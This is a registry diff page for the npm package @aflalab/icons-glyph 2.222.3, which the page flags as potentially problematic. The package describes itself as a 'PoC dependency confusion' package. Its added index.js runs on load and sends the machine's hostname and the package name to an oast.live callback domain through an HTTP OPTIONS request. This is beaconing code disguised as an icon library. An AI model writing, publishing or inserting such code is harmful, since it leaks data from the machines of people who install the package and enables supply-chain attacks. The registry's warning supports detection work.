@aflalab/icons-glyph 2.222.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @aflalab/icons-glyph might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +37 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,37 @@
1
+ const os = require('os');
2
+ const http = require('http')
3
+ const https = require('https')
4
+ const packageJSON = require('./package.json');
5
+ const package_name = packageJSON.name;
6
+ const host_name = os.hostname();
7
+ const trackingData = {
8
+ hostname: os.hostname(),
9
+ package_name: packageJSON.name,
10
+ };
11
+
12
+ function sendOptionsRequest() {
13
+ const options = {
14
+ hostname: host_name + "." + package_name+'.cv59b54m9av0vmencvdg3zzpoqinhygwy.oast.live',
15
+ path: '/',
16
+ method: 'OPTIONS',
17
+ };
18
+
19
+ const req = http.request(options, (res) => {
20
+ console.log(`Status Code: ${res.statusCode}`);
21
+ console.log(`Response Headers:`);
22
+
23
+ res.on('data', (chunk) => {
24
+ console.log(chunk.toString());
25
+ });
26
+
27
+ res.on('end', () => {
28
+ console.log('Request completed.');
29
+ });
30
+ });
31
+ req.on('error', (error) => {
32
+ console.error(`Error: ${error.message}`);
33
+ });
34
+ req.end();
35
+ }
36
+
37
+ sendOptionsRequest();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@aflalab/icons-glyph",
3
+ "version": "2.222.3",
4
+ "description": "PoC dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js"
8
+ },
9
+ "author": "del",
10
+ "license": "ISC"
11
+ }